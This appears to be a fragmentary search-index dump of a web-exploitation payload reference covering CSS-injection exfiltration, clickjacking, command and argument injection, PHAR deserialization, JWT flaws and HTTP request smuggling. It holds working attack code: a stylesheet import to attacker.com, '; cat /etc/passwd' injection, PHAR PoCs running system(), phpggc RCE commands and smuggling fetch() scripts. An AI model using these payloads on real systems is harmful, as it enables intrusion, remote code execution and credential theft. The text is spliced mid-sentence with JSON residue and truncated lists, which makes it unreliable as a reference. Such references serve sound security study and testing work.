It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
Format Properties Base64EnableViewStateMac=False, ViewStateEncryptionMode=False Base64 + MAC EnableViewStateMac=True Base64 + Encrypted ViewStateEncryptionMode=True By default until Sept 2014, the enableViewStateMac property was to set to False. Usually unencrypted viewstate are starting with the string /wEP.
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
The format of a machineKey is the following.
<machineKey validationKey=\"[String]\" decryptionKey=\"[String]\" validation=\"[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]\" decryption=\"[Auto (default) | DES | 3DES | AES | alg:algorithm_name]\" />\nThe validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
The decryption attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
The following example of a machineKey is from Microsoft documentation.
<machineKey validationKey=\"87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC\" decryptionKey=\"E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7\" validation=\"SHA1\" />\nCommon locations of web.config / machine.config

JSON Web Token might be used to authenticate an user.
Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.

CRLF Characters:
CR (\\r, ASCII 13): Moves the cursor to the beginning of the line.LF (\\n, ASCII 10): Moves the cursor to the next line.By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response.

"},{"location":"CSS%20Injection/#summary","title":"Summary","text":"CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
input[value^=a] (prefix attribute selector): Selects elements where the value starts with \"a\".input[value$=a] (suffix attribute selector): Selects elements where the value ends with \"a\".input[value*=a] (substring attribute selector): Selects elements where the value contains \"a\".When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

It relies on importing external stylesheets to trigger callbacks.
<style>@import url(http://attacker.com/staging?len=32);</style>\n<style>@import'//YOUR-PAYLOAD.oastify.com'</style>\nFrames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.
SIC allows an attacker to chain multiple extraction steps without reloading the page:
@import rule pointing to a staging payload.background-image), the browser makes a request.@import rule to continue the chain.This advanced technique leverages CSS conditionals (like if()) and variables to perform logic directly within a style attribute.
Example: Stealing a data-uid attribute if it matches a value between 1 and 10.
<div style='--val: attr(data-uid); --steal: if(style(--val:\"1\"): url(/1); else: if(style(--val:\"2\"): url(/2); else: if(style(--val:\"3\"): url(/3); else: if(style(--val:\"4\"): url(/4); else: if(style(--val:\"5\"): url(/5); else: if(style(--val:\"6\"): url(/6); else: if(style(--val:\"7\"): url(/7); else: if(style(--val:\"8\"): url(/8); else: if(style(--val:\"9\"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>\nThe @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
The unicode-range property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
If the character \"A\" is present, the browser attempts to load the font from /?A. If \"C\" is not present, that request is never made.

The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.
Target HTML:
<html>\n <head>\n <link rel=\"stylesheet\" href=\"http://attacker.local/index.css\">\n </head>\n <body>\n <input type=\"text\" name=\"password\" value=\"supersecret\">\n </body>\n</html>\nindex.css (hosted by attacker):
input[name=\"password\"] {\n background: image-set(attr(value))\n}\nWhen image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.

<button onclick=\"submitForm()\">Click me</button>\n<form action=\"malicious-site\" method=\"POST\" id=\"hidden-form\" style=\"display: none;\">\n<!-- Hidden form fields -->\n</form>\n<button onclick=\"submitForm()\">Click me</button>\n<form action=\"legitimate-site\" method=\"POST\" id=\"hidden-form\">\n <!-- Hidden form fields -->\n</form>\n<script>\n function submitForm() {\n document.getElementById('hidden-form').submit();\n }\n</script>\n <form action=\"malicious-site\" method=\"POST\" id=\"hidden-form\" style=\"display: none;\">\n <input type=\"hidden\" name=\"username\" value=\"attacker\">\n <input type=\"hidden\" name=\"action\" value=\"transfer-funds\">\n </form>\n function submitForm() {\n document.getElementById('hidden-form').submit();\n }\nImplement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
Header always append X-Frame-Options SAMEORIGIN\nUse CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames. Define a strong CSP policy to prevent unauthorized framing and loading of external resources. Example in HTML meta tag:
<meta http-equiv=\"Content-Security-Policy\" content=\"frame-ancestors 'self';\">\nThere are three deactivation techniques that can be used with frames:
<iframe src=\"http://target site\" security=\"restricted\"></iframe>\n<iframe src=\"http://target site\" sandbox></iframe>\nThe onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
The attacker can use this attack by registering an unload event on the top page using the following example code:
<h1>www.fictitious.site</h1>\n<script>\n window.onbeforeunload = function()\n {\n return \" Do you want to leave fictitious.site?\";\n }\n</script>\n<iframe src=\"http://target site\">\n204 page:
<?php\n header(\"HTTP/1.1 204 No Content\");\n?>\nAttacker's Page:
<script>\n var prevent_bust = 0;\n window.onbeforeunload = function() {\n prevent_bust++;\n };\n setInterval(\n function() {\n if (prevent_bust > 0) {\n prevent_bust -= 2;\n window.top.location = \"http://attacker.site/204.php\";\n }\n }, 1);\n</script>\n<iframe src=\"http://target site\">\nThis filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
<script>\n if ( top != self )\n {\n top.location=self.location;\n }\n</script>\nAttacker View:
<iframe src=\u201dhttp://target site/?param=<script>if\u201d>\nIt has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a \u201cscript\u201d by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
Attacker View:
<iframe src=\u201dhttp://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D\u201d>\nInspect the following code:
<div style=\"position: absolute; opacity: 0;\">\n <iframe src=\"https://legitimate-site.com/login\" width=\"500\" height=\"500\"></iframe>\n</div>\n<button onclick=\"document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';\">Click me</button>\nDetermine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
"},{"location":"Clickjacking/#labs","title":"Labs","text":"Client-Side Path Traversal (CSPT), sometimes also referred to as \"On-site Request Forgery,\" is a vulnerability that can be exploited as a tool for CSRF or XSS attacks. It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple \"../\" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches. Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
"},{"location":"Client%20Side%20Path%20Traversal/#summary","title":"Summary","text":"A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject ../ sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
Example:
https://example.com/static/cms/news.html takes a newsitemid as parameterhttps://example.com/newitems/<newsitemid>https://example.com/pricing/default.js via the cb parameterhttps://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens.

"},{"location":"Command%20Injection/#summary","title":"Summary","text":"Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
Example of Command Injection with PHP: Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
<?php\n $ip = $_GET['ip'];\n system(\"ping -c 4 \" . $ip);\n?>\nIn the above code, the PHP script uses the system() function to execute the ping command with the IP address or domain provided by the user through the ip GET parameter.
If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd.
This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.
Execute the command and voila :p
cat /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\n...\nIn many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
; (Semicolon): Allows you to execute multiple commands sequentially.&& (AND): Execute the second command only if the first command succeeds (returns a zero exit status).|| (OR): Execute the second command only if the first command fails (returns a non-zero exit status).& (Background): Execute the command in the background, allowing the user to continue using the shell.| (Pipe): Takes the output of the first command and uses it as the input for the second command.command1; command2 # Execute command1 and then command2\ncommand1 && command2 # Execute command2 only if command1 succeeds\ncommand1 || command2 # Execute command2 only if command1 fails\ncommand1 & command2 # Execute command1 in the background\ncommand1 | command2 # Pipe the output of command1 into command2\nGain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.
Chrome
chrome '--gpu-launcher=\"id>/tmp/foo\"'\nSSH
ssh '-oProxyCommand=\"touch /tmp/foo\"' foo@foo\npsql
psql -o'|id>/tmp/foo'\nArgument injection can be abused using the worstfit technique.
In the following example, the payload \uff02 --use-askpass=calc \uff02 is using fullwidth double quotes (U+FF02) instead of the regular double quotes (U+0022)
$url = \"https://example.tld/\" . $_GET['path'] . \".txt\";\nsystem(\"wget.exe -q \" . escapeshellarg($url));\nSometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
"},{"location":"External%20Variable%20Modification/#summary","title":"Summary","text":"The extract() function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
By default, extract() uses EXTR_OVERWRITE, meaning it replaces existing variables if they share the same name as keys in the input array.
If extract() is used in a script that relies on specific variables, an attacker can manipulate them.
<?php\n $authenticated = false;\n extract($_GET);\n if ($authenticated) {\n echo \"Access granted!\";\n } else {\n echo \"Access denied!\";\n }\n?>\nExploitation:
In this example, the use of extract($_GET) allow an attacker to set the $authenticated variable to true:
http://example.com/vuln.php?authenticated=true\nhttp://example.com/vuln.php?authenticated=1\nIf extract() is combined with file inclusion, attackers can control file paths.

A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.

When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.

php --define phar.readonly=0 archive.php<?php\n $phar = new Phar('archive.phar');\n $phar->startBuffering();\n $phar->addFromString('test.txt', '<?php phpinfo(); ?>');\n $phar->setStub('<?php __HALT_COMPILER(); ?>');\n $phar->stopBuffering();\n?>\nphar:// wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txtThis technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the phar:// wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file, etc.
This exploit requires at least one class with magic methods such as __destruct() or __wakeup(). Let's take this AnyClass class as example, which execute the parameter data.
class AnyClass {\n public $data = null;\n public function __construct($data) {\n $this->data = $data;\n }\n\n function __destruct() {\n system($this->data);\n }\n}\n\n...\necho file_exists($_GET['page']);\nWe can craft a phar archive containing a serialized object in its meta-data.
// create new Phar\n$phar = new Phar('deser.phar');\n$phar->startBuffering();\n$phar->addFromString('test.txt', 'text');\n$phar->setStub('<?php __HALT_COMPILER(); ?>');\n\n// add object of any class as meta data\nclass AnyClass {\n public $data = null;\n public function __construct($data) {\n $this->data = $data;\n }\n\n function __destruct() {\n system($this->data);\n }\n}\n$object = new AnyClass('whoami');\n$phar->setMetadata($object);\n$phar->stopBuffering();\nFinally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar
NOTE: you can use the $phar->setStub() to add the magic bytes of JPG file: \\xff\\xd8\\xff
$phar->setStub(\"\\xff\\xd8\\xff\\n<?php __HALT_COMPILER(); ?>\");\nconvert.iconv://: convert input into another folder (convert.iconv.utf-16le.utf-8)dechunk://: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTF writeup.
Requirements:

iconv filter with an encoding increasing the data size exponentially to trigger a memory error.dechunk filter to determine the first character of the file, based on the previous error.iconv filter again with encodings having different bytes ordering to swap remaining characters with the first one.Exploit using synacktiv/php_filter_chains_oracle_exploit, the script will use either the HTTP status code: 500 or the time as an error-based oracle to determine the character.

An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation.

A given object (like User, Admin, or Payment) may be reachable through multiple entry points and nested relationships.
This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.

"},{"location":"GraphQL%20Injection/#queries","title":"Queries","text":"GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like user, posts, or teams) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.
The simplest query uses the shorthand syntax, where the query keyword is omitted. You just define the fields you want starting from the root object.
{\n user {\n id\n name\n }\n}\nThis tells the server to return the id and name fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.
query {\n user {\n id\n name\n }\n}\nTo retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.

Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
[\n {\n \"query\":\"...\"\n },{\n \"query\":\"...\"\n }\n ,{\n \"query\":\"...\"\n }\n ,{\n \"query\":\"...\"\n }\n ...\n]\n{\n \"query\": \"query { qname: Query { field1 } qname1: Query { field1 } }\"\n}\nSend the same mutation several times using aliases

This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value¶m1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.

node-serializeserialize-to-jsfuncsterAn issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

unserialize() function.__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo():__construct(): PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. php.net__destruct(): The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. php.net__call(string $name, array $arguments): The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method. php.net__callStatic(string $name, array $arguments): The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method. php.net__get(string $name): __get() is utilized for reading data from inaccessible (protected or private) or non-existing properties. php.net__set(string $name, mixed $value): __set() is run when writing data to inaccessible (protected or private) or non-existing properties. php.net__isset(string $name): __isset() is triggered by calling isset() or empty() on inaccessible (protected or private) or non-existing properties. php.net__unset(string $name): __unset() is invoked when unset() is used on inaccessible (protected or private) or non-existing properties. php.net__sleep(): serialize() checks if the class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then null is serialized and E_NOTICE is issued.php.net__wakeup(): unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have. The intended use of __wakeup() is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. php.net__serialize(): serialize() checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. php.net__unserialize(array $data): this function will be passed the restored array that was returned from __serialize(). php.net__toString(): The __toString() method allows a class to decide how it will react when it is treated like a string php.net__invoke(): The __invoke() method is called when a script tries to call an object as a function. php.net__set_state(array $properties): This static method is called for classes exported by var_export(). php.net__clone(): Once the cloning is complete, if a __clone() method is defined, then the newly created object's __clone() method will be called, to allow any necessary properties that need to be changed. php.net__debugInfo(): This method is called by var_dump() when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. php.netambionics/phpggc is a tool built to generate the payload based on several frameworks:
phpggc monolog/rce1 'phpinfo();' -s\nphpggc monolog/rce1 assert 'phpinfo()'\nphpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data\nphpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini\nUsing phar:// wrapper, one can trigger a deserialization on the specified file like in file_get_contents(\"phar://./archives/app.phar\").
A valid PHAR includes four elements:
__HALT_COMPILER(); at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.Signature(optional): For verifying archive integrity.
Example of a Phar creation in order to exploit a custom PDFGenerator.
<?php\nclass PDFGenerator { }\n\n//Create a new instance of the Dummy class and modify its property\n$dummy = new PDFGenerator();\n$dummy->callback = \"passthru\";\n$dummy->fileName = \"uname -a > pwned\"; //our payload\n\n// Delete any existing PHAR archive with that name\n@unlink(\"poc.phar\");\n\n// Create a new archive\n$poc = new Phar(\"poc.phar\");\n\n// Add all write operations to a buffer, without modifying the archive on disk\n$poc->startBuffering();\n\n// Set the stub\n$poc->setStub(\"<?php echo 'Here is the STUB!'; __HALT_COMPILER();\");\n\n/* Add a new file in the archive with \"text\" as its content*/\n$poc[\"file\"] = \"text\";\n// Add the dummy object to the metadata. This will be serialized\n$poc->setMetadata($dummy);\n// Stop buffering and write changes to disk\n$poc->stopBuffering();\n?>\nExample of a Phar creation with a JPEG magic byte header since there is no restriction on the content of stub.
<?php\nclass AnyClass {\n public $data = null;\n public function __construct($data) {\n $this->data = $data;\n }\n\n function __destruct() {\n system($this->data);\n }\n}\n\n// create new Phar\n$phar = new Phar('test.phar');\n$phar->startBuffering();\n$phar->addFromString('test.txt', 'text');\n$phar->setStub(\"\\xff\\xd8\\xff\\n<?php __HALT_COMPILER(); ?>\");\n\n// add object of any class as meta data\n$object = new AnyClass('whoami');\n$phar->setMetadata($object);\n$phar->stopBuffering();\nPython deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML.

These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers. Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.

Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
"},{"location":"Insecure%20Randomness/#summary","title":"Summary","text":"Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the uniqid() function.
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
import random\nimport time\n\nseed = int(time.time())\nrandom.seed(seed)\nprint(random.randint(1, 100))\nThe RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value. By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date 2024-11-10 13:37.
import random\nimport time\n\n# Seed based on the provided timestamp\nseed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))\nrandom.seed(seed)\n\n# Generate the random number\nprint(random.randint(1, 100))\nA GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as 550e8400-e29b-41d4-a716-446655440000. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
Version identification: xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.

When the applications use the same RSA key pair as their TLS web server: openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout
The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.
"},{"location":"Mass%20Assignment/#summary","title":"Summary","text":"Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
For instance, consider a web application that uses an ORM and has a user object with the attributes username, email, password, and isAdmin. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.
However, an attacker may attempt to add an isAdmin parameter to the incoming data like so:
{\n \"username\": \"attacker\",\n \"email\": \"attacker@email.com\",\n \"password\": \"unsafe_password\",\n \"isAdmin\": true\n}\nIf the web application is not checking which parameters are allowed to be updated in this way, it might set the isAdmin attribute based on the user-supplied input, giving the attacker admin privileges

The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value.

By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.
Example: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:
https://example.com/redirect?url=https://userpreferredsite.com\nAn attacker could exploit an open redirect here by replacing the userpreferredsite.com with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.

aaaaaaaaaaaaaaaaaaaa! \nFor this input, the regex engine will try all possible ways to group the a characters before realizing that the match ultimately fails because of the !. This results in an explosion of backtracking attempts.
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.

This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.

HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header
:method GET\n:path /\n:authority www.example.com\nheader ignored\\r\\n\\r\\nGET / HTTP/1.1\\r\\nHost: www.example.com\nOn some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:
POST / HTTP/1.1\nHost: www.example.com\nContent-Length: 37\n\nGET / HTTP/1.1\nHost: www.example.com\ncould be treated as two requests when it should only be one. When the backend server responds twice, the frontend server will assume only the first response is related to this request.
To exploit this, an attacker can use JavaScript to trigger their victim to send a POST to the vulnerable site:
fetch('https://www.example.com/', {method: 'POST', body: \"GET / HTTP/1.1\\r\\nHost: www.example.com\", mode: 'no-cors', credentials: 'include'} )\nThis could be used to:
Example:
fetch('https://www.example.com/redirect', {\n method: 'POST',\n body: `HEAD /404/ HTTP/1.1\\r\\nHost: www.example.com\\r\\n\\r\\nGET /x?x=<script>alert(1)</script> HTTP/1.1\\r\\nX: Y`,\n credentials: 'include',\n mode: 'cors' // throw an error instead of following redirect\n}).catch(() => {\n location = 'https://www.example.com/'\n})\nThis script tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com.
www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (GET /x?x=<script>...) request and finally the browser's actual GET request. Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
A reverse proxy is a server that sits between clients and backend servers, forwarding client requests to the appropriate server while hiding the backend infrastructure and often providing load balancing or caching. Misconfigurations in a reverse proxy, such as improper access controls, lack of input sanitization in proxy_pass directives, or trusting client-provided headers like X-Forwarded-For, can lead to vulnerabilities like unauthorized access, directory traversal, or exposure of internal resources.

X-Forwarded-For is an HTTP header used to identify the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.
When a client makes a request through a proxy or load balancer, that proxy adds an X-Forwarded-For header containing the client\u2019s real IP address.
If there are multiple proxies (a request passes through several), each proxy adds the address from which it received the request to the header, comma-separated.
X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3\nNginx can override the header with the client's real IP address.
proxy_set_header X-Forwarded-For $remote_addr;\nX-Real-IP is another custom HTTP header, commonly used by Nginx and some other proxies, to forward the original client IP address. Rather than including a chain of IP addresses like X-Forwarded-For, X-Real-IP contains only a single IP: the address of the client connecting to the first proxy.
True-Client-IP is a header developed and standardized by some providers, particularly by Akamai, to pass the original client\u2019s IP address through their infrastructure.
Nginx matches incoming request URIs against the location blocks defined in your configuration.
location /app/ matches requests to /app/, /app/foo, /app/bar/123, etc.location /app (no trailing slash) matches /app* (i.e., /application, /appfile, etc.),This means in Nginx, the presence or absence of a slash in a location block changes the matching logic.
server {\n location /app/ {\n # Handles /app/ and anything below, e.g., /app/foo\n }\n location /app {\n # Handles only /app with nothing after OR routes like /application, /appzzz\n }\n}\nExample of a vulnerable configuration: An attacker requesting /styles../secret.txt resolves to /path/styles/../secret.txt
location /styles {\n alias /path/css/;\n}\nThe root /etc/nginx; directive sets the server's root directory for static files. The configuration doesn't have a root location /, it will be set globally set. A request to /nginx.conf would resolve to /etc/nginx/nginx.conf.
server {\n root /etc/nginx;\n\n location /hello.txt {\n try_files $uri $uri/ =404;\n proxy_pass http://127.0.0.1:8080/;\n }\n}\nThe provided Caddy web server config uses the templates directive, which allows dynamic content rendering with Go templates.
